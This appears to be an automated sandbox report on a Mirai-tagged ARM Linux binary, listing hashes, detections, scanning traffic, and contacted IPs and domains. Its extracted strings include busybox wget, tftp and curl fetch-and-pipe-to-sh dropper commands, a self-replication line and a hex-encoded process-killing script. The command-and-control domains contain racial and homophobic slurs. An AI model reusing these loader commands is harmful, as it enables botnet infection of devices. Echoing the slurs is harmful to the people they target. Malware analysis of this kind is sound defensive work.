Linux Analysis Report
nabarm7.elf

Overview

General Information

Sample name: nabarm7.elf
Analysis ID: 1543156
MD5: 556b1257117b8ebc985c280a8f9c2f4d
SHA1: 781eadc9cdd4816134bbf702f95f0d29ff0d7a38
SHA256: 479a64ad6a899a062a00298007154201e2ca182abd528270c9707d8382647e20
Tags: elfMiraiuser-abuse_ch
Infos:

Detection

Score: 56
Range: 0 - 100
Whitelisted: false

Signatures

Multi AV Scanner detection for submitted file
Connects to many ports of the same IP (likely port scanning)
Sends malformed DNS queries
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: nabarm7.elf ReversingLabs: Detection: 50%
Found strings indicative of a multi-platform dropper
Source: nabarm7.elf String: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0

Networking
barindex
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 45.156.86.24 ports 38241,1,2,3,4,8
Source: global traffic TCP traffic: 185.150.24.67 ports 38241,1,2,3,4,8
Sends malformed DNS queries
Source: global traffic DNS traffic detected: malformed DNS query: netfags.geek. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: chinklabs.dyn. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: yellowchink.pirate. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: burnthe.libre. [malformed]
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.14:49914 -> 185.150.24.67:38241
Source: global traffic TCP traffic: 192.168.2.14:57460 -> 45.156.86.24:38241
Sample listens on a socket
Source: /tmp/nabarm7.elf (PID: 5569) Socket: 127.0.0.1:39148 Jump to behavior
Source: unknown TCP traffic detected without corresponding DNS query: 40.6.152.150
Source: unknown TCP traffic detected without corresponding DNS query: 176.206.155.22
Source: unknown TCP traffic detected without corresponding DNS query: 40.6.152.150
Source: unknown TCP traffic detected without corresponding DNS query: 51.46.70.57
Source: unknown TCP traffic detected without corresponding DNS query: 176.206.155.22
Source: unknown TCP traffic detected without corresponding DNS query: 120.79.88.33
Source: unknown TCP traffic detected without corresponding DNS query: 51.46.70.57
Source: unknown TCP traffic detected without corresponding DNS query: 81.156.116.11
Source: unknown TCP traffic detected without corresponding DNS query: 120.79.88.33
Source: unknown TCP traffic detected without corresponding DNS query: 68.211.121.27
Source: unknown TCP traffic detected without corresponding DNS query: 81.156.116.11
Source: unknown TCP traffic detected without corresponding DNS query: 197.87.225.115
Source: unknown TCP traffic detected without corresponding DNS query: 68.211.121.27
Source: unknown TCP traffic detected without corresponding DNS query: 185.32.185.20
Source: unknown TCP traffic detected without corresponding DNS query: 197.87.225.115
Source: unknown TCP traffic detected without corresponding DNS query: 88.134.195.218
Source: unknown TCP traffic detected without corresponding DNS query: 185.32.185.20
Source: unknown TCP traffic detected without corresponding DNS query: 175.102.247.201
Source: unknown TCP traffic detected without corresponding DNS query: 88.134.195.218
Source: unknown TCP traffic detected without corresponding DNS query: 182.211.155.234
Source: unknown TCP traffic detected without corresponding DNS query: 175.102.247.201
Source: unknown TCP traffic detected without corresponding DNS query: 215.63.199.5
Source: unknown TCP traffic detected without corresponding DNS query: 182.211.155.234
Source: unknown TCP traffic detected without corresponding DNS query: 176.142.44.152
Source: unknown TCP traffic detected without corresponding DNS query: 215.63.199.5
Source: unknown TCP traffic detected without corresponding DNS query: 208.187.211.96
Source: unknown TCP traffic detected without corresponding DNS query: 176.142.44.152
Source: unknown TCP traffic detected without corresponding DNS query: 197.147.141.162
Source: unknown TCP traffic detected without corresponding DNS query: 208.187.211.96
Source: unknown TCP traffic detected without corresponding DNS query: 30.255.89.167
Source: unknown TCP traffic detected without corresponding DNS query: 197.147.141.162
Source: unknown TCP traffic detected without corresponding DNS query: 153.142.19.203
Source: unknown TCP traffic detected without corresponding DNS query: 30.255.89.167
Source: unknown TCP traffic detected without corresponding DNS query: 153.142.19.203
Source: unknown TCP traffic detected without corresponding DNS query: 80.27.35.14
Source: unknown TCP traffic detected without corresponding DNS query: 99.223.239.82
Source: unknown TCP traffic detected without corresponding DNS query: 80.27.35.14
Source: unknown TCP traffic detected without corresponding DNS query: 40.25.25.195
Source: unknown TCP traffic detected without corresponding DNS query: 99.223.239.82
Source: unknown TCP traffic detected without corresponding DNS query: 7.56.3.53
Source: unknown TCP traffic detected without corresponding DNS query: 40.25.25.195
Source: unknown TCP traffic detected without corresponding DNS query: 59.62.56.203
Source: unknown TCP traffic detected without corresponding DNS query: 7.56.3.53
Source: unknown TCP traffic detected without corresponding DNS query: 179.90.233.213
Source: unknown TCP traffic detected without corresponding DNS query: 137.183.205.21
Source: unknown TCP traffic detected without corresponding DNS query: 59.62.56.203
Source: unknown TCP traffic detected without corresponding DNS query: 212.67.214.178
Source: unknown TCP traffic detected without corresponding DNS query: 179.90.233.213
Source: unknown TCP traffic detected without corresponding DNS query: 162.239.81.112
Source: unknown TCP traffic detected without corresponding DNS query: 137.183.205.21
Source: global traffic DNS traffic detected: DNS query: chinklabs.dyn
Source: global traffic DNS traffic detected: DNS query: yellowchink.pirate
Source: global traffic DNS traffic detected: DNS query: netfags.geek. [malformed]
Source: global traffic DNS traffic detected: DNS query: chinklabs.dyn. [malformed]
Source: global traffic DNS traffic detected: DNS query: yellowchink.pirate. [malformed]
Source: global traffic DNS traffic detected: DNS query: burnthe.libre. [malformed]
Source: nabarm7.elf String found in binary or memory: http:///curl.sh
Source: nabarm7.elf String found in binary or memory: http:///wget.sh
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh44n
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Source: classification engine Classification label: mal56.troj.linELF@0/98@13/0
Enumerates processes within the "proc" file system
Source: /tmp/nabarm7.elf (PID: 5575) File opened: /proc/5591/maps Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5575) File opened: /proc/5591/cmdline Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5575) File opened: /proc/5592/maps Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5575) File opened: /proc/5592/cmdline Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5575) File opened: /proc/5593/maps Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5575) File opened: /proc/5593/cmdline Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5575) File opened: /proc/5594/maps Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5575) File opened: /proc/5594/cmdline Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5575) File opened: /proc/5595/maps Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5575) File opened: /proc/5595/cmdline Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5575) File opened: /proc/5596/maps Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5575) File opened: /proc/5596/cmdline Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5575) File opened: /proc/5596/maps Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5575) File opened: /proc/5596/cmdline Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5575) File opened: /proc/5597/maps Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5575) File opened: /proc/5597/cmdline Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5575) File opened: /proc/5597/maps Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5575) File opened: /proc/5597/cmdline Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5575) File opened: /proc/5598/maps Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5575) File opened: /proc/5598/cmdline Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5575) File opened: /proc/5598/maps Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5575) File opened: /proc/5598/cmdline Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5575) File opened: /proc/5590/maps Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5575) File opened: /proc/5590/cmdline Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5575) File opened: /proc/5607/maps Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5575) File opened: /proc/5607/cmdline Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5575) File opened: /proc/5607/maps Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5575) File opened: /proc/5607/cmdline Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5575) File opened: /proc/5599/maps Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5575) File opened: /proc/5599/cmdline Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5575) File opened: /proc/5599/maps Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5575) File opened: /proc/5599/cmdline Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5575) File opened: /proc/5589/maps Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5575) File opened: /proc/5589/cmdline Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5575) File opened: /proc/5600/maps Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5575) File opened: /proc/5600/cmdline Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5575) File opened: /proc/5600/maps Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5575) File opened: /proc/5600/cmdline Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5575) File opened: /proc/5601/maps Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5575) File opened: /proc/5601/cmdline Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5575) File opened: /proc/5601/maps Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5575) File opened: /proc/5601/cmdline Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5575) File opened: /proc/5602/maps Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5575) File opened: /proc/5602/cmdline Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5575) File opened: /proc/5602/maps Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5575) File opened: /proc/5602/cmdline Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5575) File opened: /proc/5603/maps Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5575) File opened: /proc/5603/cmdline Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5575) File opened: /proc/5603/maps Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5575) File opened: /proc/5603/cmdline Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5575) File opened: /proc/5658/maps Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5575) File opened: /proc/5658/cmdline Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5575) File opened: /proc/5604/maps Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5575) File opened: /proc/5604/cmdline Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5575) File opened: /proc/5604/maps Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5575) File opened: /proc/5604/cmdline Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5575) File opened: /proc/5605/maps Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5575) File opened: /proc/5605/cmdline Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5575) File opened: /proc/5605/maps Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5575) File opened: /proc/5605/cmdline Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5575) File opened: /proc/5638/maps Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5575) File opened: /proc/5638/cmdline Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5575) File opened: /proc/5606/maps Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5575) File opened: /proc/5606/cmdline Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5575) File opened: /proc/5606/maps Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5575) File opened: /proc/5606/cmdline Jump to behavior
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/nabarm7.elf (PID: 5569) Queries kernel information via 'uname': Jump to behavior
Source: nabarm7.elf, 5569.1.00007ffd8fe52000.00007ffd8fe73000.rw-.sdmp, nabarm7.elf, 5573.1.00007ffd8fe52000.00007ffd8fe73000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/nabarm7.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/nabarm7.elf
Source: nabarm7.elf, 5569.1.00005604ae93a000.00005604aea8b000.rw-.sdmp, nabarm7.elf, 5573.1.00005604ae93a000.00005604aea68000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: nabarm7.elf, 5569.1.00005604ae93a000.00005604aea8b000.rw-.sdmp, nabarm7.elf, 5573.1.00005604ae93a000.00005604aea68000.rw-.sdmp Binary or memory string: V!/etc/qemu-binfmt/arm
Source: nabarm7.elf, 5569.1.00007ffd8fe52000.00007ffd8fe73000.rw-.sdmp, nabarm7.elf, 5573.1.00007ffd8fe52000.00007ffd8fe73000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
114.50.44.49
 unknown Japan 37903 EMOBILEYmobileCorporationJP false
104.60.241.250
 unknown United States
7018 ATT-INTERNET4US false
148.110.91.103
 unknown Luxembourg
7834 L3HARRIS-TECHNOLOGIESUS false
215.182.36.250
 unknown United States
721 DNIC-ASBLK-00721-00726US false
16.44.71.150
 unknown United States
unknown unknown false
76.222.26.182
 unknown United States
7018 ATT-INTERNET4US false
59.249.22.37
 unknown China
2516 KDDIKDDICORPORATIONJP false
71.190.176.62
 unknown United States
701 UUNETUS false
215.147.47.107
 unknown United States
721 DNIC-ASBLK-00721-00726US false
34.105.57.86
 unknown United States
15169 GOOGLEUS false
221.183.242.103
 unknown China
9808 CMNET-GDGuangdongMobileCommunicationCoLtdCN false
189.107.123.5
 unknown Brazil
7738 TelemarNorteLesteSABR false
101.22.193.125
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
152.248.175.109
 unknown Brazil
26599 TELEFONICABRASILSABR false
213.92.3.79
 unknown Italy
3313 INET-ASIT false
99.31.177.17
 unknown United States
7018 ATT-INTERNET4US false
173.214.148.131
 unknown United States
16700 ROSENET-1US false
95.184.80.236
 unknown Saudi Arabia
25019 SAUDINETSTC-ASSA false
122.230.132.248
 unknown China
134771 CHINATELECOM-ZHEJIANG-WENZHOU-IDCWENZHOUZHEJIANGProvince false
109.49.188.76
 unknown Portugal
2860 NOS_COMUNICACOESPT false
14.184.248.89
 unknown Viet Nam
45899 VNPT-AS-VNVNPTCorpVN false
212.119.51.11
 unknown Spain
51223 TELEALHAMAES false
34.198.161.4
 unknown United States
14618 AMAZON-AESUS false
130.154.47.248
 unknown United States
21 RANDUS false
160.30.215.165
 unknown unknown
2907 SINET-ASResearchOrganizationofInformationandSystemsN false
112.10.235.173
 unknown China
56041 CMNET-ZHEJIANG-APChinaMobilecommunicationscorporationC false
42.102.77.229
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
176.180.231.121
 unknown France
5410 BOUYGTEL-ISPFR false
223.186.146.146
 unknown India
45609 BHARTI-MOBILITY-AS-APBhartiAirtelLtdASforGPRSService false
124.101.163.10
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
119.144.127.206
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
6.51.232.50
 unknown United States
1475 DNIC-ASBLK-01474-01477US false
115.194.20.93
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
202.71.192.156
 unknown Hong Kong
9293 HKNET-VIPNETNTTComAsiaLimitedHK false
145.240.221.220
 unknown France
1101 IP-EEND-ASIP-EENDBVNL false
41.188.158.191
 unknown Tanzania United Republic of
37084 simbanet-tzTZ false
45.156.86.24
 yellowchink.pirate Germany
44592 SKYLINKNL true
217.227.107.181
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
196.227.174.164
 unknown Tunisia
37492 ORANGE-TN false
182.211.155.234
 unknown Korea Republic of
17858 POWERVIS-AS-KRLGPOWERCOMMKR false
40.225.197.166
 unknown United States
4249 LILLY-ASUS false
152.51.37.151
 unknown United States
81 NCRENUS false
170.213.146.5
 unknown United States
46274 UPHSUS false
216.128.20.53
 unknown United States
17184 ATL-CBEYONDUS false
215.152.112.249
 unknown United States
721 DNIC-ASBLK-00721-00726US false
210.177.200.31
 unknown Hong Kong
4515 ERX-STARHKTLimitedHK false
210.177.29.1
 unknown Hong Kong
4515 ERX-STARHKTLimitedHK false
202.15.46.199
 unknown Japan 2497 IIJInternetInitiativeJapanIncJP false
3.120.49.213
 unknown United States
16509 AMAZON-02US false
157.165.23.176
 unknown United States
49964 VERIXI-BACKUPNETWORKBE false
147.26.195.110
 unknown United States
18777 TEXAS-STATE-UNIVERSITYUS false
206.69.111.212
 unknown United States
2914 NTT-COMMUNICATIONS-2914US false
154.8.113.174
 unknown United Kingdom
1290 TELSTRAEUROPELTD-BACKBONETelstraEuropeLtdEU false
152.97.100.205
 unknown United States
31975 SEWANEEUS false
191.74.200.79
 unknown Colombia
26611 COMCELSACO false
52.122.161.212
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
8.90.182.17
 unknown United States
3356 LEVEL3US false
114.0.85.179
 unknown Indonesia
56046 CMNET-JIANGSU-APChinaMobilecommunicationscorporationCN false
215.185.17.112
 unknown United States
721 DNIC-ASBLK-00721-00726US false
52.201.190.192
 unknown United States
14618 AMAZON-AESUS false
91.170.172.8
 unknown France
12322 PROXADFR false
172.62.141.149
 unknown United States
393494 L3TV-ASUS false
170.97.124.36
 unknown United States
18980 PEACEHEALTHUS false
137.183.205.21
 unknown United States
11003 PANDGUS false
191.193.191.92
 unknown Brazil
27699 TELEFONICABRASILSABR false
24.175.88.230
 unknown United States
11427 TWC-11427-TEXASUS false
145.177.254.196
 unknown Netherlands
59524 KPN-IAASNL false
180.170.214.137
 unknown China
4812 CHINANET-SH-APChinaTelecomGroupCN false
69.198.90.103
 unknown United States
17184 ATL-CBEYONDUS false
32.187.114.190
 unknown United States
20057 ATT-MOBILITY-LLC-AS20057US false
138.47.131.189
 unknown United States
19564 LATECHUS false
164.85.190.169
 unknown Brazil
23074 PETROLEOBRASILEIROSA-PETROBRASBR false
175.221.90.119
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
210.141.234.228
 unknown Japan 2516 KDDIKDDICORPORATIONJP false
171.186.225.24
 unknown United States
9874 STARHUB-MOBILEStarHubLtdSG false
14.15.139.145
 unknown Japan 131959 YOUTVYOUCommunicationsCorporationJP false
182.153.14.157
 unknown Hong Kong
17924 SMARTONE-MB-AS-APSmarToneMobileCommunicationsLtdHK false
142.65.193.60
 unknown United States
7834 L3HARRIS-TECHNOLOGIESUS false
190.193.128.48
 unknown Argentina
10481 TelecomArgentinaSAAR false
157.142.218.206
 unknown United States
16922 OUHSC-EDUUS false
25.155.88.135
 unknown United Kingdom
7922 COMCAST-7922US false
217.248.252.236
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
77.40.58.58
 unknown Russian Federation
12389 ROSTELECOM-ASRU false
166.203.86.91
 unknown United States
20057 ATT-MOBILITY-LLC-AS20057US false
39.204.125.141
 unknown Indonesia
23693 TELKOMSEL-ASN-IDPTTelekomunikasiSelularID false
120.220.222.11
 unknown China
24444 CMNET-V4SHANDONG-AS-APShandongMobileCommunicationCompany false
155.210.93.170
 unknown Spain
766 REDIRISRedIRISAutonomousSystemES false
146.188.69.32
 unknown United Kingdom
702 UUNETUS false
59.98.96.109
 unknown India
9829 BSNL-NIBNationalInternetBackboneIN false
35.37.35.199
 unknown United States
36375 UMICH-AS-5US false
203.227.195.149
 unknown Korea Republic of
9848 SEJONGTELECOM-AS-KRSejongTelecomKR false
182.125.248.241
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
31.240.68.214
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
207.212.78.111
 unknown United States
7018 ATT-INTERNET4US false
31.196.249.40
 unknown Italy
3269 ASN-IBSNAZIT false
174.214.26.142
 unknown United States
22394 CELLCOUS false
136.93.145.19
 unknown United States
60311 ONEFMCH false
86.81.234.7
 unknown Netherlands
1136 KPNKPNNationalEU false
201.158.95.213
 unknown Mexico
11888 TelevisionInternacionalSAdeCVMX false
101.239.215.144
 unknown China
4808 CHINA169-BJChinaUnicomBeijingProvinceNetworkCN false

Contacted Domains

Name IP Active
yellowchink.pirate 45.156.86.24 true
chinklabs.dyn 185.150.24.67 true
chinklabs.dyn. [malformed] unknown unknown
netfags.geek. [malformed] unknown unknown
burnthe.libre. [malformed] unknown unknown
yellowchink.pirate. [malformed] unknown unknown